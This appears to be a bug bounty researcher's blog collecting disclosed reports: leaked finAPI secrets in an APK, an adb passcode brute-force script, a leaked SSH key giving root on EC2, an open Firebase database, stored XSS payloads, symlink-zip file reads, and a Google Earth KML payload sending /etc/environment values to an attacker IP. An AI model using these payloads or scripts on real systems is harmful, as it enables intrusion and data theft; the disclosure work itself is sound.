If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection

Report Summary:

Hi REDACTED team, I was able to find the finAPI oauth credentials exposed in plain text in your REDACTED Android application.

Proof of concept:

1.- Get the latest REDACTED Android application, in my case I downloaded it to my phone (connect the phone in debug mode) and then pull out the APK with adb tools. (com.REDACTED.android.main is the APK package name):

omespino@h0st:~# adb pull data/app/com.REDACTED.android.main/base.apk

2.- Then I decompile the APK with the following command apktool:

omespino@h0st:~# apktool d base.apk

3.- Then I just grep for the “client_secret” to get finap url oauth

omespino@h0st:~# grep -ihr --color client_secret ./base | head -1 

<string name="url_finapi_oauth">
https://live.finapi.io/oauth/token?grant_type=client_credentials&amp;client_id=00000000-0000-0000-0000-00000000&amp;client_secret=00000000-0000-0000-0000-00000000
</string>

4.- At this point, anyone could start using finAPI on behalf of your company :

# first we need to get and access token from the fineapi
# findAPI GET tokens documentation https://docs.finapi.io/#post-/oauth/token

omespino@h0st:~# curl -sX POST "https://live.finapi.io/oauth/token?grant_type=client_credentials&client_id=00000000-0000-0000-0000-00000000&client_secret=00000000-0000-0000-0000-00000000" | json_pp

{
   "token_type" : "bearer",
   "expires_in" : 1347,
   "scope" : "all",
   "access_token" : "IlR3byByb2FkcyBkaXZlcmdlZCBpbiBhIHdvb2QgYW5kIEkglyBJIHRvb2sgdGhlIG9uZSBsZXNzIHRyYXZlbGVkIGJ5LCBhbmQgdGhhdCBoYXMgbWFkZSBhbGwgdGhlIGRpZmZlcmVuY2Ui"
}

# then we can use the token to abuse the finAPI and get banks information
# findAPI GET banks documentation https://docs.finapi.io/#get-/api/v1/banks

omespino@h0st:~# curl -H 'Authorization: Bearer IlR3byBy...lcmVuY2Ui' https://live.finapi.io/api/v1/banks | json_pp

{
   "banks" : [
      {
         "supportedDataSources" : [
            "XXXXX_SERVER"
         ],
         "location" : "XX",
         "blz" : "903123123",
         "lastSuccessfulCommunication" : "201X-0X-0X 13:37:00.000",
         "loginFieldUserId" : "Onlinebanking-ID",
         "isCustomerIdPassword" : false,
         "isTestBank" : true,
         "isSupported" : true,
         "name" : "XXX-XXXXXXXsystem"
      },
      -------------- REDACTED -------------

Environment and tools

adb Android Debug Bridge
apktool

Impact

Anyone, could create, get, update, delete, import users / banks / comunications in finAPI on REDACTED findAPI account.

Well, that’s it, share your thoughts, If you have any doubts, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection

Report Summary:

Hi REDACTED team, I was able to find a way to bypass the screen lock in your REDACTED Android application.

I was able to bypass the passcode because there is no rate limit, so since it is a 4 digit passcode, anyone can try any combination between 0000 and 9999.

Proof of concept:

1.- Get the latest REDACTED Android application (X.X.X version) from Google Playstore.

2.- Open the android application, login with your credentials, then navigate to:

menu > settings > lockscreen  and set the passcode (in my case I set 5555 as passcode)

3.- Then connect your phone via USB, make sure that you have USB debugging mode in your phone, and test the connection with the following command

omespino@h0st:~# adb devices
List of devices attached
e16bc6a3	device

3.- After that run the brute_passcode.sh script (attached) and just wait

#!/usr/bin/env bash
package_name="com.example.redacted_application"
adb shell am force-stop $package_name > /dev/null 2>&1
adb shell monkey -p $package_name -c android.intent.category.LAUNCHER 1 > /dev/null 2>&1
clear
echo
echo "---- BRUTE FORCING SCRIPT STARTED ----"
echo "launching REDACTED application ... DONE"
# the user passcode is 5555, in this example just try 10 passcodes for the POC
# for the full brute force just change {5550..5560} to {0000..9999}
for i in {5550..5560}; do
    printf "trying passcode %d \r" "$i"
    for (( j=0; j<${#i}; j++ )); do
        adb shell input keyevent $((`echo ${i:$j:1}`+7))
    done
done
echo
echo "bypass successfully"

PS. You can change the passcode range from {5550..5560} to {0000..9999}, I've tried with all combinations and it worked successfully because there is no limit rate-limited on passcode tries.

Number event codes list (Stack overflow reference):

...
7 -->  "KEYCODE_0" 
8 -->  "KEYCODE_1" 
9 -->  "KEYCODE_2" 
10 -->  "KEYCODE_3" 
11 -->  "KEYCODE_4" 
12 -->  "KEYCODE_5" 
13 -->  "KEYCODE_6" 
14 -->  "KEYCODE_7" 
15 -->  "KEYCODE_8" 
16 -->  "KEYCODE_9" 
...

Environment and tools

adb Android Debug Bridge version 1.0.39
my own Android device

Impact

An attacker can bypass REDACTED's android application lockscreen.

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection

Report Summary:

Hi REDACTED COMPANY team, I have found a private key exposed and a config file for ssh in some GitHub public repo from a REDACTED COMPANY employee that lead me to perform an RCE on AWS ec2 instance.

Proof of concept:

1.- On GitHub, after some dorks (/src/github.com/redacted_company IdentityFile was the winner dork), I have found this public repository https://github.com/redacted_employee/configfiles/tree/23114…51312/ssh/ that contains 2 files, config and pkey.pem file:

config file:

config: 
Host devenv
	HostName X.X.X.X
	User ec2-user
	Port 22
	IdentityFile ~/configfiles/ssh/pkey.pem
pkey.pem: (private key)

pkey.pem file:

-----BEGIN RSA PRIVATE KEY-----
  - - - R E D A C T E D - - -
SSBkb24ndCBrbm93IGFueW1vcmUNCkFyZSB0aGUgbmVpZ2hib3JzIHdhdGNoaW5nIG1lPyAoV2hvJ3Mgd2F0Y2hpbmc/KQ0KV2VsbCwgaXMgdGhlIG1haWxtYW4gd2F0Y2hpbmcgbWU/IChUZWxsIG1lLCB3aG8ncyB3YXRjaGluZz8pDQpBbmQgSSBkb24ndCBmZWVsIHNhZmUgYW55bW9yZSwgb2gsIHdoYXQgYSBtZXNzDQpJIHdvbmRlciB3aG8ncyB3YXRjaGluZyBtZSBub3cgKHdobz8pLCB0aGUgSVJTPw==
  - - - R E D A C T E D - - -
-----END RSA PRIVATE KEY-----

2.- Then with any ssh client you just need to run: 

# X.X.X.X was the IP of the Host that appears in the config file
# you need to save the pkey.pem and change the key file permissions
# with chmod 600 pkey.pem
omespino@h0st:~# chmod 600 pkey.pem
omespino@h0st:~# ssh -i pkey.pem ec2-user@X.X.X.X

3.- Once I got access I executed sudo su and id in order to confirm the admin privileges and we got root:

[ec2-user@ip-172-X-X-X ~]$ sudo su
root@ip-ip-172-X-X-X:/home/ec2-user# id
uid=0(root) gid=0(root) groups=0(root)

Environment and tools:

Any ssh client
My IP was X.X.X.X and I executed the sudo su and id commands to fingerprint the users and privileges and logged out immediately and I started to write this report, according to program terms no steps deeper were taken.

Impact:

The attacker can gain access to this ec2 instance and perform arbitrary commands as root.

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection

Report Summary:

Hi REDACTED team, I was able to find a firebase instance URL misconfigured exposed in your REDACTED Android application.

Proof of concept:

1.- Get the latest REDACTED Android application, in my case I downloaded it to my phone (connect the phone in debug mode) and then pull out the APK with adb tools. (com.REDACTED.android.main is the APK package name):

omespino@h0st:~# adb pull data/app/com.REDACTED.android.main/base.apk

2.- Then I decompile the APK with the following command apktool:

omespino@h0st:~# apktool d base.apk

3.- Then I just grep for firebase and HTTP strings in the “base/AndroidManifest.xml” file.

# grep for firebase and HTTP strings and got some URLs including the firebaseio.com one
omespino@h0st:~# grep -ir firebase | grep http 
- redacted - 
 ...
 ...
 "https://API-REDACTED-XXXXXXXXXXXX.firebaseio.com/"
 ...
 ...
- redacted -

4.- Simple POC to see the firebase misconfiguration (just append .json to the URL):

omespino@h0st:~# curl -X GET -H "REDACTED-Security: @omespino" https://API-REDACTED-XXXXXXXXXXXX.firebaseio.com/.json

5.- See the full firebase database exposed because is misconfigured with bad permissions.

PD. I made the request and the stopped after testing that was vulnerable.

Environment and tools

adb Android Debug Bridge version 1.0.39
apktool 2.3.3

Impact

Since the full firebase database instance is misconfigured, anyone can pull the whole database.


Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

Description:

With the passage of the years, I have been included in the hall of fame of companies such as Google (top 100 researcher worldwide), Microsoft, Facebook, Twitter, Slack, Netflix, Sony, Nokia, Telegram, etc.

The main goal of sharing my experience as an information security fan is to motivate people and let them know that all are capable of hacking big companies and achieving big rewards, if I could, you can too.

In this handbook you will read vulnerabilities description and development, step by step, bugs that accumulated more than $$$$$ dollars in rewards legally. 

Table of contents:

Details:

Available at:

9.99 USD amazon.com paperback, 3.99 USD eBook kindle

https://www.amazon.com/dp/B09PYZGJ11

2.99 USD PayPal digital format PDF

After finishing your purchase with PayPal you will receive the book in digital format in a period of fewer than 24 hours.

1.99 USD bitcoin BTC digital format PDF

3M7pmdp6sbjBLGUfY3snUUj7ZoFtxeFekJ

1.99 USD ethereum ETH digital format PDF

0x4a9e86451ae756d978f320d88ba3cef01ecebc2a

After finishing your purchase with bitcoin, send an email to om.espino+btc@gmail.com and you will receive the book in digital format in a period of fewer than 24 hours.

If you have any doubts or comments, please write a comment directly on this page, send an email to om.espino+support@gmail.com, or reach me on Twitter. (@omespino)

Hi everyone It’s been a while since my last post but I’m back, I want to tell you a short story about the Slack bug bounty program and why you can always check the basic payloads because you will surprise that some times will work

This blogpost appeared first in the book Bug Bounty Write Ups Collection

Title: XSS stored in https://files.slack.com/ iOS app / iOS browsers via xml/svg file.
Product / URL: ​Slack iOS app / iOS browsers

Report sent via Slack’s hackerone program (this is the actual report):

Hi ​Slack Security team.

I’ve found a XSS stored on file https://files.slack.com/ on iOS app / iOS browsers via xml/svg file.

POC:

1.- Login to the slack team space and upload a xml file with the following content to any slack channel (slack-xss.xml file attached):

<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>prompt(document.location)</script>
</svg>

2.- Look up for the xml file in the iOS app, see the snippet, click it to open the “raw view” and then open the option “View in Browser” and see the XSS.

3.- Also in the “raw view” you can copy the link to quick access to that file. (Note, if you want send the link in slack channel you need paste the copied link and append a space+string, for example “https:// files[dot]slack[dot]com/files-pri/XXXXXXXXX-XXXXXXXXX/slack-xss.xml[SPACE]xss”.

Something important to highlight is: At this time you have a “magic” link that points directly to the special crafted XML document. ​

​4.- Open the link directly slack iOS app and the XSS shows up (if you open the link in any iOS browser like Safari, Firefox, Chrome, Opera the XSS works, you just need to be logged in your slack account, only works in iOS).

Impact:

Stored XSS allows an attacker to embed a malicious and arbitraries scripts into a vulnerable page, which is then executed when a victim views the page.

Environment:

iPhone 6 – iOS v11.2.5.
​Safari Lastest version
Google Chrome Lastest version
​My personal slack workspace / account and all testing was seding files to myself.

Slack HOF (June 2019):

https://hackerone.com/slack/thanks/2018?type=team

Report Timeline:

Feb 5, 2018: Sent the report to Slack team
Feb 13, 2018: Got a message from the Slack team that the bug was triaged [ High (7 ~ 8.9)]
Feb 14, 2019: $1,000 bounty rewarded (one year later! w0000t!)
Jun 5, 2019: Fixed by Slack team

Disclaimer: Unfortunately, after 13 months of waiting and the bug patched, Apple didn’t consider this as security issue and it wasn’t rewarded.

This blogpost appeared first in the book Bug Bounty Write Ups Collection

Extracted from Apple Bug Bounty report: (the actual Apple Bug Bount report):

Title: Arbitrary local file read via zip file and symlinks

1.- Prepare the zip file in the Macbook (or any unix* like computer):

# Make a new directory called symlinks 
mkdir symlinks; cd symlinks
# Make a new directory called symlinks 
mkdir symlinks; cd symlinks

# Go to the directory and create the following symlinks
ln -sf /private/etc/group etc_group.txt
ln -sf /private/etc/hosts etc_hosts.txt
ln -sf /private/var/mobile/Library/Preferences/com.apple.identityservices.idstatuscache.plist identityservices.idstatuscache.plist.txt
ln -sf /private/var/mobile/Library/Preferences/com.apple.commcenter.shared.plist commcenter.shared.plist.txt 
ln -sf /private/var/mobile/Library/Preferences/com.apple.sharingd.plist sharingd.plist.txt 

# Then inside of symlinks' directory create the special zip file that allows symlinks 
zip --symlinks -r symlinks.zip .

# After that share the file with your iOS device 
# In this case, I shared the file via Airdrop

2.- On Iphone’s
– Go to the File app > Downloads and click the symlinks.zip file
– then navigate inside to the symlinks folder
– choose any file and send it back to the Macbook via iDrop

3.- On Macbook, receive the file, append .txt in the filename, open it, and profit!
PS. zip file attached with video and the symlinks.zip file password: __REDACTED__

Enviroment:
– iPhone 8 – iOS version 14.0.1
– Files iOS app lastest version
– Macbook pro macOS catalina version 10.15.6
– My personal devices and personal iCloud account

Is this bug public or known by third parties?​: No​
Can I reproduce this issue every time? Yes
How did I find this bug? Manually / Other

Report Timeline:

Oct 14, 2020: Sent the report to Apple
Oct 18, 2020: Automated response from Apple: “Because of the potentially sensitive nature of security issues, we ask that this information remains between you and Apple while we investigate it further.”
Jan 18, 2021: I sent a message to follow up, asking for any update on this issue
Jan 21, 2021: Got a message from Apple “We are still investigating and have no new status updates to share at this time.”
Apr 07, 2021: I sent another message to follow up, asking for any update on this issue
Apr 07, 2021: Got a message from Apple “We are planning to address this issue in an upcoming security update in the summer of 2021. To avoid placing our customers at risk, we would appreciate you not disclosing this information until the necessary updates are available.”
Jul 27, 2021: I sent another message to follow up, asking for any update on this issue
Jul 28, 2021: Got a message from Apple “This issue was addressed with the release of iOS 14.5. REDACTED, REDACTED, REDACTED, we want to publicly acknowledge your assistance on our security advisory.”
Jul 28, 2021: I sent a Thank you mesage asking for any reward Bug Bounty decision and permission to disclose this bug.
Sep 07, 2021: Got a message from Apple “Thank you for letting us know of your plans publish your report. Due to a process issue, your credit information was not published to our advisories. We will credit you as “Omar Espino (omespino.com)” in a future update to our advisories.”
Sep 07, 2021: I another message asking for any reward Bug Bounty decision. 
Oct 07, 2021: Got a message from Apple “We do not have any update yet. We should have an update at the beginning of next month.”
Nov 11, 2021: I another message asking for any reward Bug Bounty decision. 
Nov 17, 2021: Got a message from Apple “This issue has been reviewed for the Apple Security Bounty and, unfortunately, it does not qualify. This is because the reported issue and your proof-of-concept do not demonstrate the categories listed on https://developer.apple.com/security-bounty/payouts/.”

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

If you like Bug Bounty writeups please check my handbook Bug Bounty Write Ups Collection

Extracted from Google VRP’s report: (the actual Google VRP report)

Summary: /etc/enviroment local variables disclosed on Linux Google Earth Pro desktop app

Steps to reproduce:

1.- Download and install the latest Google Earth Pro Desktop app for macOS (7.3.3.7786 64-bit / .deb)

2.- Put your attacker server to listen in any port with netcat, in my case port 80:

 localh0st:~ user$ sudo nc -l -p 80

3.- Open the file attached etc_environment.kml and modify the part where CDATA is and put your attacker server IP and save it. (extract of that file and actual XSS poc):

<Placemark>                                                                        <name>placemark</name><description>                                                                                  <![CDATA[                                                                                           <script src=file:../../../../../../../etc/environment></script>                                                                                            <script>                                                                                    document.write('XSS fired :-)<br>');                                                                       document.write('Location: ' + location.href + '<br>');                                       document.write('<br>PATH var = ' + PATH);                                          document.write('<br>JAVA_HOME var = ' + JAVA_HOME);                                                                   document.write('<img src=http://192.168.0.11/?path=' + PATH + '&java_home=' + JAVA_HOME + '>'); </script>                                                                                               ]]></description>

4.- Just open the etc_environment.kml file with a double click, once you see the red polygon click it to see the description and the XSS would be fire, it would contain variables from /etc/environment system file and send those to the attacker server

5.- Profit

Explanation, since we can inject random HTML/js code, we can “import” files with the script tag, per example “<script src=file:///../../../../etc/enviroment></script>”, so if the file has the right js format the browser would load any content, since the common format of /etc/environment is like:

PATH="/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" 
JAVA_HOME="/opt/jre/bin"

this would actually load because those variables have the same format that javascript variables ;-), plus since any linux environment vars are so predictable we can brute force the most common variables names and send them to the attacker server

UPDATE: You could also exfiltrate all vars from the /etc/environment file since “Object.keys(window)” would load any declared variable in the DOM (stack overflow reference)

Attack scenario
Any attacker can read arbitrary variables from /etc/environment on Linux through the Google Earth Pro Desktop app via XSS

Report Timeline:

Aug 23, 2021: Nice catch Bug Accepted (P4 → P3)
Aug 23, 2021: Got a message from Google that the issue is working as intended
Sep 01, 2021: I sent a clarification message and then the issue was sent to review
Sep 09, 2021: $1,337 bounty awarded
Oct 03, 2021: Got a message from Google that the issue report has been closed without providing a fix (Status Won’t fix) w00t?!

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

Hi everyone It’s been a while since my last post but I’m back, I want to tell you a short story about the Atlassian bug bounty program and why you can always check the basic payloads because you will surprise that some times will work:

This blogpost appeared first in the book Bug Bounty Write Ups Collection

Title: XSS stored on file https://api.media.atlassian.com/ on iOS browsers via msoffice (doc) file.

Product / URL: ​Any associated *.atlassian.com or *.atl-paas.net domain that can be exploited DIRECTLY from the *.atlassian.net instance

Report sent via Bugcrowd Atlassian Program

Hi Atlassian team.

I’ve found a XSS stored on file https://api.media.atlassian.com/ on iOS browsers via msoffice (doc) file

POC:

1.- Create a msoffice document per example a word office document with an hyperlink pointing to the url address “javascript:alert(1)//%22onclick=alert(2)//” and save as “Word 97-2003 Document”, Is very important save the doc as 97-2003, if you don’t save the document as this version the bug reproduction may not work.

2.-Look to any confluence public page (In my case I created a confluence test page with anonymous permissions https://bugbounty-test-omespino.atlassian.net)/ that allow post comments via anonymous user and post the document as a comment (XSS-iOS-omespino.doc file attached):

Something important to highlight is: At this time you have a “magic” link that points directly to the doc special crafted document. ​

3.- Copy the URL to the word document and paste it in any iOS browser like Safari, Firefox, Chrome, or Opera, then click the hyperlink and see the XSS shows up, since is a confluence public page, you don’t need to be logged in.

Impact:

Stored XSS allows an attacker to embed a malicious and arbitraries scripts into a vulnerable page, which is then executed when a victim views the page.

Environment:

iPhone 6 – iOS v11.2.5.
​Safari Lastest version
Google Chrome / Safaria Lastest version
​My personal email account and all testing was seding emails to myself.

Report Timeline:

Feb 19, 2018: Sent the report to Atlassian team
Feb 21, 2018: Got a message from Atlassian team that they could not replicate the bug
Feb 22, 2018: Sent clarification to Atlassian team
Mar 05, 2018: Report triaged
Mar 19, 2018: Fixed and rewarded

Well that’s it, share your thoughts, what do you think about how they handle that security issue? If you have any doubt, comments or suggestions just drop me a line here or on Twitter @omespino, read you later.

This blogpost appeared first in the book Bug Bounty Write Ups Collection

Extracted from Google VRP’s report: (the actual Google VRP report)

Summary: Arbitrary local file read (macOS) via <a> and null byte (%00) element in Google Earth Pro Desktop app

Steps to reproduce:

1.- Download and install the latest Google Earth Pro Desktop app for macOS (7.3.3.7786 64-bit)

2.- Open the Google Earth app and create a new Pin, add any name add click on add link, and paste this code in the white box

<a href="file:///etc/passwd%00.html">passwd</a> 

and click OK button

3.- After Pin’s creation, in the left side pane Places, click in the hyperlink called passwd add see /etc/passwd file content

4.- Profit

PS. any attacker can read any file with file:/// schema and appending a null byte and dot HTML extension (%00.html)

Attack scenario
Any attacker can read arbitrary files on macOS through the Google Earth Pro Desktop app

Report Timeline:

Apr 17, 2021: Sent the report to Google VRP
Apr 19, 2021: Nice catch! Bug Accepted (P4 → P2)
Apr 27, 2021: Got a message from Google that the issue does not meet the bar for a financial reward
May 05, 2021: Got a message from Google that the issue report has been closed without providing a fix (Status Won’t fix)